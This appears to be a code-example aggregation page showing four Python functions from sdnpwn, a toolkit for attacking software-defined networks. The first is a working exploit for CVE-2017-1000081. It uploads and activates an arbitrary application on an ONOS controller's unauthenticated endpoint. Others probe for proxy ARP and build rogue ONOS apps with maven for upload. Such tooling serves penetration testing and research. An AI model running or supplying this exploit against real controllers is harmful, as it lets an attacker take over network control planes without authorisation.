Пример #1
0
def run(params):

    signal.signal(signal.SIGINT, signal_handler)  #Assign the signal handler

    target = ""
    app = ""

    target = sdnpwn.getArg(["-t", "--target"], params)
    port = sdnpwn.getArg(["-p", "--port"], params, "8181")
    app = sdnpwn.getArg(["-a", "--app"], params)

    if (target == None or app == None):
        sdnpwn.printWarning("Missing required parameter.")
        exit(0)

    sdnpwn.printNormal(
        "Attempting unauthenticated app upload (CVE-2017-1000081)")

    url = "http://" + target + ":" + str(
        port) + "/onos/ui/rs/applications/upload?activate=true"

    response = requests.post(url, files={'file': open(app, 'rb')})

    if (response.status_code == 200):
        sdnpwn.printSuccess(
            "Got 200 OK - Application uploaded and activiated!")
    else:
        sdnpwn.printWarning("Got " + str(response.status_code))
Пример #2
0
def run(params):

    signal.signal(signal.SIGINT, signal_handler)  # Assign the signal handler

    iface = sdnpwn.getArg(["-i", "--iface"], params, "eth0")
    verbose = sdnpwn.checkArg(["-v", "--verbose"], params)

    try:
        if (verbose):
            sdnpwn.printVerbose("Getting MAC and IP address for interface " +
                                iface)

        ifaceIP = sdnpwn.getIPAddress(iface)
        ifaceMac = sdnpwn.getMacAddress(iface)

        if (ifaceMac == "0" or ifaceIP == "0"):
            sdnpwn.printError("Cannot get details for interface " + iface +
                              " ")
            return

        if (verbose):
            sdnpwn.printVerbose("Making this host known in the network")

        sendp(
            Ether(src=ifaceMac, dst="FF:FF:FF:FF:FF:FF", type=0x0806) /
            ARP(op=ARP.is_at, psrc=ifaceIP, hwsrc=ifaceMac, pdst=ifaceIP)
        )  # We just want the controller to know about this host

        sdnpwn.printNormal("Sending ARP request for this host...")

        resp = srp(Ether(src=ifaceMac, dst="FF:FF:FF:FF:FF:FF", type=0x0806) /
                   ARP(op=ARP.who_has, pdst=ifaceIP),
                   timeout=2)

        try:
            if (resp[0][ARP][0][1].psrc == ifaceIP):
                sdnpwn.printWarning("Proxy ARP is active")
            else:
                sdnpwn.printError("Got another address: " +
                                  resp[0][ARP][0][1].psrc)
        except:
            # This should only fail if there is no response or the response is not ARP.
            sdnpwn.printSuccess("Proxy ARP is not active")

    except Exception as e:
        print(e)
Пример #3
0
def run(params):
  
  signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler
  
  appDir = sdnpwn.getArg(["-b", "--build"], params, None)
  doConfig = sdnpwn.checkArg(["-c", "--configure"], params)
  
  if(appDir == None):
    sdnpwn.message("No app directory specified", sdnpwn.ERROR)
    return
  
  if(doConfig):
    try:
      with open(appDir + "/sdnpwn_options", 'r+') as confFile:
        #confFile = open(appDir + "/sdnpwn_options", 'r+')
        confOut = ""
        for l in confFile.readlines():
          conf = l.split("=")
          confVal = input(conf[0] + " [" + conf[1].replace("\n","") + "]: ") or conf[1].replace("\n","")
          confOut += conf[0] + "=" + confVal + "\n"
        
        confFile.seek(0)
        confFile.write(confOut)
        
    except Exception as e:
      sdnpwn.printWarning("Error while setting configuration!")
      print(e)
      return
    
  sdnpwn.printNormal("Building " + appDir)
    
  buildDir = appDir + "-building-temp"
  try:
    shutil.copytree(appDir, buildDir)
      
    config= {}
    with open(buildDir + "/sdnpwn_options", 'r') as confFile:
      for l in confFile.readlines():
        conf = l.split("=")
        config[conf[0]] = conf[1].replace("\n","")
      
    sdnpwn.printNormal("Got configuration")
      
    with open(buildDir + "/pom.xml", 'r+') as pomFile:
      pomFileData = pomFile.read()
      pomFile.seek(0)
      for k in config.keys():
        pomFileData = pomFileData.replace(k, config[k])
        
      pomFile.write(pomFileData)
        
    javaFilesLocation = buildDir + "/src/main/java/org/onosproject/app/"
    javaFiles = [f for f in listdir(javaFilesLocation) if isfile(join(javaFilesLocation, f))]
    
    for j in javaFiles:
        
      #with open(javaFilesLocation + j, 'r+') as javaFile:
      #javaFileData = javaFile.read()
      #javaFile.seek(0)
      #Above method won't overwrite the whole file for some reason. Should check out why.
      javaFile = open(javaFilesLocation + j, 'r')
      javaFileData = javaFile.read()
      javaFile.close()
      for k in config.keys():
        javaFileData = javaFileData.replace(k, config[k])
      
      javaFile = open(javaFilesLocation + j, 'w')
      javaFile.write(javaFileData)
      javaFile.close()
        
    sdnpwn.printSuccess("Files updated with configuration")
    
    sdnpwn.printNormal("Compiling app with maven")
      
    call(['mvn', '-f', buildDir, 'clean', 'install'])
    
    shutil.copy(buildDir + "/target/" + config["$APP_NAME"] + "-1.0-SNAPSHOT.oar", "apps/compiled_apps/")
    shutil.copy(buildDir + "/target/" + config["$APP_NAME"] + "-1.0-SNAPSHOT.jar", "apps/compiled_apps/")
    
    sdnpwn.printSuccess("OAR and JAR file moved to apps/compiled_apps")
    
    if(sdnpwn.checkArg(["-k", "--keep-source"], params)):
      shutil.copytree(buildDir, appDir + "-" + str(datetime.datetime.now()).split(" ")[0])
      sdnpwn.printNormal("App source saved in " + appDir + "-" + str(datetime.datetime.now()).split(" ")[0])
      
      
  except Exception as e:
    sdnpwn.printError("Error building " + appDir)
    print(e)
  finally:
    shutil.rmtree(buildDir)
    
    
    
    
    
    
    
    
    
    
Пример #4
0
def onClose(ws):
  sdnpwn.printWarning("Connection to websocket closed!")